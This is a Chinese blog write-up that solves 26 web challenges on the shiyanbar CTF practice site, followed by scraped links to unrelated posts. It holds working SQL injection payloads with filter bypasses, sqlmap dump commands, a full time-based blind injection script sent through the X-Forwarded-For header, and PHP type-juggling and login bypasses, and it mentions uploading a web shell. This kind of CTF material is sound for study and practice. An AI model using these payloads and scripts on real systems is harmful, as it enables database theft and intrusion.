实验吧web题(26/26)全writeup!超详细:)



#简单的SQL注入

http://www.shiyanbar.com/ctf/1875

1)试着在?id=1,没有错误

2)试着?id=1‘,出错了,有回显,说明有注入点:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near ‘‘‘‘‘ at line 1
3)先预计后台表名为flag,所以构造union select flag from flag
4)根据第二部判断的依据,所以多加个‘,后面的语句需要再一个‘来结束,注入语句为?id=1‘union select flag from flag where ‘t‘=
‘t
回显的是:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near ‘t‘=‘t‘‘ at line 1
分析:根据报错,只有变量了,其他的关键字都没过滤了
5)把关键字from,where写两遍试试,结果报错:corresponds to your MySQL server version for the right syntax to use near
 ‘unionselectflag fromflag where‘t‘=‘t‘‘ at line 1
发现空格被过滤!
6)用‘+‘号来代替空格:?id=1‘+union+select+flag+from+flag+wherewhere+‘t‘=‘t



#简单的SQL注入之2

http://www.shiyanbar.com/ctf/1908

1.先正常显示id=1 ,   id=2,   id=3  显示正常说明只有三行

2.id=1‘  显示mysql  语句错误 大概判断mysql 语句为  select  name  from user where id=‘input‘

3.id=1 ‘  中间有一个空格  显示 SQLi detected!  说明 空格被过滤

结合这三种显示的 内容  能判断    显示的是1  的界面加上我们的sql 语句  才能真正的执行我们想要执行的注入语句

继续简单的 判断

id=1‘%0Band%0B‘1‘=‘1   %0B  表示空格   还有的 类似  %0a-%0z  +  /**/都可以试试

显示正常

ID: 1‘and‘1‘=‘1
name: baloteli

然后 继续测试

发现这个 逻辑 方法也 不错

?id=1‘||`id`||‘  可以显示 表中的数据  然后语句就是  select  name  from user where id=‘1‘||`id`||‘‘ 闭合的 想要显示表中的所有记录可以多加几个||’‘  只要是语句是闭合的就可以

ID: 1‘||`id`||‘
name: baloteli
ID: 1‘||`id`||‘
name: kanawaluo
ID: 1‘||`id`||‘
name: dengdeng

然后继续 结合web1 我们可以猜到   还有一个flag表

发现  十六进制编码就可以搞定

?id=1‘/*!u%6eion*/ /*!se%6cect*/flag/*!from*/flag/*!where*/‘‘=‘

直接 getflag




#简单的SQL注入之3

http://www.shiyanbar.com/ctf/1909

本题,我才用SQL map来解;

1)构造SQL map命令:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs

一路跑下来得到数据库

2)再次构造判断正确的数据库:qlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db

3)再次构造获得表名:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables

4)再次构造查找flag表名中的列:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"

5)再次构造dump其中的内容:sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"

tips:如果SQL map跑的很快的话推荐使用SQL map,但是掌握手工注入才是王道。




#天下武功唯快不破

http://www.shiyanbar.com/ctf/1854

首先看一下源代码

让我们提交找到的key进行post提交,看看请求头

发现flag,当然就是把key当参数提交解出的flag进行post提交啦,但是必须要快,那就只有脚本了,下面附上脚本

import requests
import base64

url = ‘http://ctf5.shiyanbar.com/web/10/10.php‘

rs = requests.get(url).headers[‘FLAG‘]

v = base64.b64decode(rs)

print requests.post(url=url,data={‘key‘:v.split(‘:‘)[1]}).content

tips:对于没有requests模块和base64模块的同学可以pip下载,不会pip的可以参考我之前的博客




#拐弯抹角

http://www.shiyanbar.com/ctf/1846

根据这段话,在url后面加index.php,即可得到flag




#Forms

http://www.shiyanbar.com/ctf/1819

先F12查看源代码

发现showsource的值为0,改为1,得到隐藏的源代码

出现

if ($a == -19827747736161128312837161661727773716166727272616149001823847)

将pin的值改为

-19827747736161128312837161661727773716166727272616149001823847得出结果
 




#天网管理系统

http://www.shiyanbar.com/ctf/1810

首先右击查看源代码(手动滑稽

这里要求我们输入一个字符串,经过md5后等于0,这是考验php弱类型。这里我提供4个都可以通过的值;

然后百度0开头的MD5:http://www.mamicode.com/info-detail-1719711.html

在用户名中输入其中一个显示

然后你懂;

打开那个链接:

$unserialize_str = $_POST[‘password‘]; $data_unserialize = unserialize($unserialize_str); if($data_unserialize[‘user‘] == ‘???‘ && $data_unserialize[‘pass‘]==‘???‘) { print_r($flag); } 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年

这段代码不难懂,就是把post提交的password值经过"反序列化"得到一个数组,要求数组里的user和pass都满足,就打印flag,但是我们无法得知‘???‘是什么,但是我们可以注意到信息中判断条件使用的为==,也是php弱类型;

<?php if(true=="pcat"){ echo "ok"; } ?>

bool类型的true跟任意字符串可以弱类型相等的,当代码中存在unserialize或者json_decode的时候,我们可以构造bool类型,来达到欺骗。现在我们构造一个数组,内瀚2个元素,分别是user和pass,都是bool类型的true,于是我们得到
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
(a代表array,s代表string,b代表bool,而数字代表个数/长度)

最后在密码局域栏中用post提交就可以了。




#Once More

http://www.shiyanbar.com/ctf/1805

一道简单的代码审计题,根据if语句要求,password必须大于9999999而且还要等于*-*

ok,直接构造password就行,password=1e8%00*-*

(注:%00是单纯在数中加“-”会无意义,使用%00截断后,加上*-*

回显得到flag,over!




#Guess Next Session

http://www.shiyanbar.com/ctf/1788

这一题需要用到火狐浏览器,然后下个火狐的插件,cookies manager+

老规矩,先看源代码

说明get获取的值必须和session的值相等才行

使用cookies managers +,删掉PHP session

直接guess




#FALSE

http://www.shiyanbar.com/ctf/1787

  1. <html>
  2. <head>
  3. <title>level1</title>
  4. <link rel=‘stylesheet‘ href=‘style.css‘ type=‘text/css‘>
  5. </head>
  6. <body>
  7. <?php
  8. require ‘flag.php‘;
  9. if (isset($_GET[‘name‘]) and isset($_GET[‘password‘])) {
  10. if ($_GET[‘name‘] == $_GET[‘password‘])
  11. print ‘Your password can not be your name.‘;
  12. else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘]))
  13. die(‘Flag: ‘.$flag);
  14. else
  15. print ‘<p class="alert">Invalid password.</p>‘;
  16. }
  17. ?>
  18. <section class="login">
  19. <div class="title">
  20. <a href="./index.txt">Level 1</a>
  21. </div>
  22. <form method="get">
  23. <input type="text" required name="name" placeholder="Name"/><br/>
  24. <input type="text" required name="password" placeholder="Password" /><br/>
  25. <input type="submit"/>
  26. </form>
  27. </section>
  28. </body>

分析代码逻辑,发现GET了两个字段name和password,获得flag要求的条件是:name != password & sha1(name) == sha1(password),乍看起来这是不可能的,其实可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:?name[]=a&password[]=b,这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,if 条件成立,获得flag。




#上传绕过

http://www.shiyanbar.com/ctf/1781

菜刀,一句话木马ok




#what a fuck!这是什么鬼东西?

http://www.shiyanbar.com/ctf/56

很有特征的,jother编码,一堆括号。可以在线解码,不过为了离线考试,在chrome浏览器,F12,有一个console,粘贴全部代码,回车,弹出key




#这个看起来有点简单

http://www.shiyanbar.com/ctf/33

使用SQL注入

联合查找

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,1

查数据库

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,SCHEMA_NAME%20from%20information_schema.SCHEMATA

猜表名

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,TABLE_NAME%20from%20information_schema.TABLES

猜字段

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS

k0y最可疑,于是提交

http://ctf5.shiyanbar.com/8/index.php?id=1%20union%20select%201,k0y%20from%20thiskey




#头有点大

http://www.shiyanbar.com/ctf/29

火狐or chrome F12

点击编辑和重发,编辑信息,修改语言和增加一个.net framework 9.9,也就是添加.NET CLR 9.9(有个分号)

发送并预览




#Forbidden

http://www.shiyanbar.com/ctf/21

F12,选择网络,然后重新加载一下,点击编辑和发送

修改zh-CN为zh-hk

发送后在预览页面即可看到flag




#猫捉老鼠

http://www.shiyanbar.com/ctf/20

根据题目提示“catch”,使用burpsuite抓包尝试,并将抓包数据发送至Repeater

直接点击GO,看Response输出,发现表头中存在以下一行内容提示

将“MTQ4ODg2ODA4MA==”复制后,替换Repeater中自己先前输入的123,查看Response,发现已得到key




#登录一下好吗?

http://www.shiyanbar.com/ctf/1942

解释下:

先计算username=‘TG‘ 一般数据库里不可能有我这个小名(若有,你就换一个字符串),所以这里返回值为0(相当于false)
然后0=‘‘ 这个结果呢?看到这里估计你也懂了,就是返回1(相当于true)

所以这样的注入相当于
select * from user where 1 and 1
也等于 select * from user
(这题只有筛选出来的结果有3个以上才会显示flag,没有就一直说“对不起,没有此用户!!”)

好了,继续唠叨几句,上面那个比较是弱类型的比较,
以下情况都会为true
1=‘1‘
1=‘1.0‘
1=‘1后接字母(再后面有数字也可以)‘
0=‘除了非0数字开头的字符串‘
(总体上只要前面达成0的话,要使语句为true很简单,所以这题的万能密码只要按照我上面的法子去写一大把)




#who are you?

http://www.shiyanbar.com/ctf/1941

时间注入,不懂得搜百度,我直接上脚本不BB了

import requests
import time
import sys

url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘

def retriveCurrentDatabase():

ascii = -1
index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222‘ and (case when (ascii(substring((select database()) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and ‘1‘=‘1" % (index, pow(2, i))
headers = {‘X-Forwarded-For‘: sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.5:

ascii += pow(2, i)

if chr(ascii) != ‘\x00‘:
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

return result

def retriveTable(database):

database = "‘" + database + "‘"

ascii = -1
row = 0
while True:

index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222‘ and (case when (ascii(substring((select table_name from information_schema.tables where table_schema=%s limit 1 offset %d) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and ‘1‘=‘1" % (database, row, index, pow(2, i))
headers = {‘X-Forwarded-For‘: sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.5:

ascii += pow(2, i)

if chr(ascii) != ‘\x00‘:
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

if result == ‘\x00‘:
break
ascii = -1
print(‘‘)
row += 1

def dumpColumn():

ascii = -1
row = 0
while True:

index = 1
result = ""

while "\x00" not in result:

ascii = 0

for i in range(8):

sql = "222‘ and (case when (ascii(substring((select flag from flag limit 1 offset %d) from %d for 1))&%d!=0) then sleep(0.5) else sleep(0) end) and ‘1‘=‘1" % (row, index, pow(2, i))
headers = {‘X-Forwarded-For‘: sql}
starttime = time.time()
requests.get(url, headers=headers)

if (time.time() - starttime) > 0.1:

ascii += pow(2, i)

if chr(ascii) != ‘\x00‘:
sys.stdout.write(chr(ascii))
result += chr(ascii)

index += 1

if result == ‘\x00‘:
break
ascii = -1
row += 1

def main():
database = retriveCurrentDatabase()
print(‘\nCurrent database is %s‘ % database)
print(‘Let\‘s see the table name in the database!‘)
database = database.replace("\x00","")
retriveTable(database)
print(‘Let\‘s dump the flag!‘)
sys.stdout.write("ctf{")
dumpColumn()
sys.stdout.write("}")

if __name__ == ‘__main__‘:
main()




#因缺思厅的绕过

http://www.shiyanbar.com/ctf/1940

查看源码得到这个东西,改变下url

出来了这个东西

  下面就是post数据的检查,这里不是狭义上的过滤,仅仅是检查,检查到敏感字符就输出“水可载舟,亦可赛艇!”,结束。
主要检查"and""select""from""where""union""join""sleep""benchmark"",""("")"这些sql中常用到的东西。

数据库连接这块没什么说的。接着就是将$_POST[‘uname‘]直接代入sql查询interest表。验证查询结果是否一行,如果是将查询结果的pwd列值与$_POST[‘pwd‘]比较,如相同则输出FLAG。
程序似乎挺简单,逻辑也明了清楚。要得到flag,得过两个条件判断:mysql_num_rows($query) == 1 和$key[‘pwd‘] == $_POST[‘pwd‘]。
相信有个别人,代码都不看就直接拿出sqlmap,看完代码,不建议这样做,收益甚微啊。看看输入检查就知道了。
试想如果用union select控制查询结果,那$key[‘pwd‘]和$_POST[‘pwd‘]就都在我们的控制之中了,但这条路的关键在于过输入检查。我手动试了很多方法,尝试过输入检查,发现徒劳。再看看代码,想想也是,这么个检查方法,似乎过不了检查的。
于是重新调整战略。我们要的是过两个条件判断,从这入手其实第一个条件判断很好过:x‘ or 1 limit 1#,这就过了第一个检查。再看第二个检查$key[‘pwd‘] == $_POST[‘pwd‘]。由于数据库中数据我们是无法获得的,至少我获取不了。想过这个条件只有控制了$key[‘pwd‘]才有可能。我摸索了很长时间,几乎快放弃了,询问了pcat此处是否有可为。答案是肯定的,又给了点提示。最后确定目标使$key[‘pwd‘]为NULL。可是输入检查很严,去了逗号,括号等。为达到目标,我翻看mysql的手册。过程漫长又非因缺思汀。早饭过程中脑子中一直过手册内容。早饭过后,就想到了可利用之处。group by with rollup。
x‘or 1 group by pwd with rollup #

最后根据pwd为NULL,playload:x‘or 1 group by pwd with rollup limit 1 OFFSET 2#




#让我进去

http://www.shiyanbar.com/ctf/1848

用哈希长度扩展攻击,原理吗,搜百度,我不在这BB

推荐先看下这个链接:http://www.cnblogs.com/pcat/p/5478509.html

其中已经对这个方法做了详细介绍了,我就不在赘述了




#忘记密码了

http://www.shiyanbar.com/ctf/1808

首先Ctrl+U查看网页源代码:可以看到 admin"为"[email protected]"    编辑器为Vim。

随便输一个,弹出js框提示密码放在step2.php里。那么直接打开step2.php,发现一直跳转回step.php。算了,直接用Fiddler看吧,果然是一个302重定向。那么访问step2.php时,其实是将它内置的[email protected]发到submit.php里去了。那么我们再访问submit.php,显示的是"you are not an admin"。

这个方法不行,看了下别人的WriteUp,说是Vim会产生临时文件。那么我们在浏览器里访问.submit.php.swp,果然有文件。虽然有乱码,但代码勉强看的懂。这里需要的是emailAddress和token两个参数。emailAddress就是刚才个,而token做了判断,必须为0且长度为10。

改变url:http://ctf5.shiyanbar.com/10/upload/[email protected]&token=0000000000




#NSCTF web200

http://www.shiyanbar.com/ctf/1760

题目是一个php加密的,我们逆着就行了

$dd="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$s=str_rot13($dd);
$a=strrev($s);
$b=base64_decode($a);
for($e=0;$e {
$g=substr($b,$e,1);
$temp=ord($g)-1;
$g=chr($temp);
$aa=$aa.$g;
}
echo strrev($aa);
?>



#程序逻辑问题

http://www.shiyanbar.com/ctf/62

这道题还是卡了几个小时,

最后的playload:

user=1 union select concat(‘bcbe3365e6ac95ea2c0343a2395834dd‘)%23 &pass=222

开始我以为注入,最后注入出来发现pw字段是111

于是尝试了 弱类型 ,发现没什么软用

最后想到union查询

SELECT username FROM admin where id =-1 union select concat(‘bcbe3365e6ac95ea2c0343a2395834dd‘)

原理:当没有id为-1的用户时 就会显示union后的语句 也就是 bcbe3365e6ac95ea2c0343a2395834dd

222的md5

同时提交pass=222 就金光一闪了




#PHP大法

http://www.shiyanbar.com/ctf/54

通过阅读http://ctf5.shiyanbar.com/DUTCTF/index.php.txt中的代码可以知道

id如果等于"hackerDJ"的话不会得到flag 但后面要求解码后还是"hackerDJ"

所以需要第一次解码不是"hackerDJ",而第二次是"hackerDJ",所以编码两次就好了

(不需要全部编码,随便找个字母,比如最后的J->%254A即可)

http://ctf5.shiyanbar.com/DUTCTF/index.php?id=hackerD%254A




#貌似有点难

http://www.shiyanbar.com/ctf/32

打开burp拦截一个请求,在http头部增加一个x字段为1.1.1.1 转发出去。

然后就可以看见key了。




#看起来有点难

http://www.shiyanbar.com/ctf/2

SQL注入,简单的很,只不过跑起来很慢,竟然是50分的,不知道过人之处在哪

题目没有问题,这是吓唬人罢了,应该就是这样吧,要相信自己,别被眼前的事物所迷惑吧。



 纪念下

时间: 2024-08-24 12:29:34

实验吧web题(26/26)全writeup!超详细:)的相关文章

Web架构:varnish缓存代理服务器超详细剖析

小生博客:http://xsboke.blog.51cto.com 小生 Q Q:1770058260 -------谢谢您的参考,如有疑问,欢迎交流 目录 varnishi简介 varnish配置组成 --------------------------------------  vcl内置预设变量 --------------------------------------  功能语句与对象 --------------------------------------  varnish中内置

leecode刷题(26)-- 用栈实现队列

leecode刷题(26)-- 用栈实现队列 用栈实现队列 使用栈实现队列的下列操作: push(x) -- 将一个元素放入队列的尾部. pop() -- 从队列首部移除元素. peek() -- 返回队列首部的元素. empty() -- 返回队列是否为空. 示例: MyQueue queue = new MyQueue(); queue.push(1); queue.push(2); queue.peek(); // 返回 1 queue.pop(); // 返回 1 queue.empty

20155201 网络攻防技术 实验九 Web安全基础

20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击原理,如何防御 SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息. SQL注入攻击的典型手段:判断应用程序是否存在注入漏洞,收集信息

20155222卢梓杰 实验九 Web安全基础

实验九 Web安全基础 今天不多bb,打开webgoat就是干好吧 1.简单字符串sql注入 可以看到这个实验说明是 "下表允许用户查看其信用卡号码.尝试插入一个SQL字符串,以显示所有信用卡号码." 下面已经显示了后台使用的sql语句是 SELECT * FROM user_data WHERE last_name = 'Your Name' 既然我们的目的是要显示所有信用卡的记录,所以我们会想到让SELECT * FROM user_data WHERE后面的表达式为永真,所以我们

关于第一场HBCTF的Web题小分享,当作自身的笔记2

昨天晚上6点开始的HBCTF,虽然是针对小白的,但有些题目确实不简单. 昨天女朋友又让我帮她装DOTA2(女票是一个不怎么用电脑的),然后又有一个小白问我题目,我也很热情的告诉她了,哎,真耗不起. 言归正传: --------------------------------我是分割线------------------------------------------------------- 对于那道200分的Web题真是难得有水平. function d_addslashes($array){

20155201 网络攻防技术 实验八 Web基础

20155201 网络攻防技术 实验八 Web基础 一.实践内容 Web前端HTML,能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. Web前端javascipt,理解JavaScript的基本功能,理解DOM.编写JavaScript验证用户名.密码的规则. Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密码.建表. Web后端:编写PHP网页,连接数据库,进行用户认证. 最简单的SQL注入,XSS攻击测

20155222卢梓杰 实验八 Web基础

实验八 Web基础 1.安装apache sudo apt-get install apache2 2.启动apache service apache2 start 3.使用netstat -tupln |grep 80命令查看80端口是否被占用,如果已被占用,修改配置文件ports.conf中的内容以修改监听端口vim /etc/apache2/ports.conf 4.重启apacheservice apache2 restart 5.测试apache是否正常工作 浏览器打开 127.0.0

2017-2018-2 20155225《网络对抗技术》实验九 Web安全基础

2017-2018-2 20155225<网络对抗技术>实验九 Web安全基础 WebGoat 1.String SQL Injection 题目是想办法得到数据库所有人的信用卡号,用Smith登录后,得到Smith的两个信用卡号,如图 但如何才能得到所有人的信用卡号呢? 只需要输入' or 1 = ' 1,这样构造可以将引号闭合,再or上一个永真式,就能屏蔽掉前面的条件. 2.Log Spoofing 在User Name中以这种格式注入:Use CR (%0d) and LF (%0a)

20155313 杨瀚 《网络对抗技术》实验九 Web安全基础

20155313 杨瀚 <网络对抗技术>实验九 Web安全基础 一.实验目的 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.基础问题回答 1.SQL注入攻击原理,如何防御 2.XSS攻击的原理,如何防御 3.CSRF攻击原理,如何防御 三.实验内容 第一阶段 原文地址:https://www.cnblogs.com/bonsai/p/9097562.html